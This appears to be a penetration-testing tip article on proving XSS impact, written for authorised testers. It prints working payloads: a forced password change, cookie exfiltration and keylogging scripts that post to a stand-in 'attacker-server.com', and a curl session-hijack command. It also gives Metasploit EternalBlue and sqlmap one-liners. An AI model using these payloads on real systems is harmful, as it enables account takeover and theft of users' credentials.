Penetration Testing Tip: Demonstrating Impact Beyond Alert Boxes in XSS Vulnerabilities

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Cross-Site Scripting (XSS) vulnerabilities are a common finding in penetration testing, but simply demonstrating an alert box is often insufficient to convey the severity of the issue. To truly highlight the risk, manual testers should go beyond basic proof-of-concepts and demonstrate real-world exploitation scenarios. Here are some practical ways to do this:

1. Combining XSS with CSRF

Use XSS to chain with Cross-Site Request Forgery (CSRF) and perform actions such as:
– Changing the user’s password to a known value.
– Adding a new user with administrative privileges.
– Modifying application settings or data.

Example Code:


<script>
fetch('/change-password', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
newPassword: 'hacked123'
})
});
</script>

2. Exfiltrating Sensitive Data

Set up a remote server (e.g., using Burp Collaborator) to exfiltrate sensitive information such as:
– Session cookies.
– User profiles.
– Internal application data.

Example Code:


<script>
fetch('https://attacker-server.com/steal', {
method: 'POST',
body: document.cookie
});
</script>

3. Demonstrating Keylogging

Inject a script that captures keystrokes and sends them to a remote server.

Example Code:


<script>
document.onkeypress = function(e) {
fetch('https://attacker-server.com/log', {
method: 'POST',
body: e.key
});
};
</script>

4. Proving Impact with Session Hijacking

If session cookies are accessible, demonstrate session hijacking by reusing the stolen cookie in a clean browser.

Example Command (Linux):

curl -H "Cookie: sessionid=stolen_cookie_value" https://target-app.com/dashboard

What Undercode Say

Penetration testing is not just about finding vulnerabilities; it’s about demonstrating their real-world impact. By going beyond simple alert boxes, testers can provide actionable insights that drive organizations to prioritize fixes. Here are some additional commands and tools to enhance your testing:

  • Burp Suite Collaborator: Use it to set up a remote server for data exfiltration.
  • Nmap: Scan for open ports and services to identify potential attack vectors.
    nmap -sV -p 1-65535 target.com
  • Metasploit: Exploit vulnerabilities and demonstrate impact.
    msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target.com
exploit
  • SQLMap: Automate SQL injection testing.
    sqlmap -u "https://target.com/search?q=test" --dbs
  • Linux Commands for Log Analysis:
    grep "POST /login" /var/log/apache2/access.log
tail -f /var/log/auth.log | grep "Failed password"
  • Windows Commands for Network Analysis:
    [cmd]
    netstat -an | find “ESTABLISHED”
    tasklist /svc | findstr “explorer.exe”
    [/cmd]
  • OWASP ZAP: Use it for automated vulnerability scanning and manual testing.
    zap.sh -cmd -quickurl https://target.com -quickout report.html

By combining these tools and techniques, testers can provide a comprehensive assessment of vulnerabilities and their potential impact. Always remember to act responsibly and within the scope of your engagement. For further reading, check out the OWASP XSS Prevention Cheat Sheet.

References:

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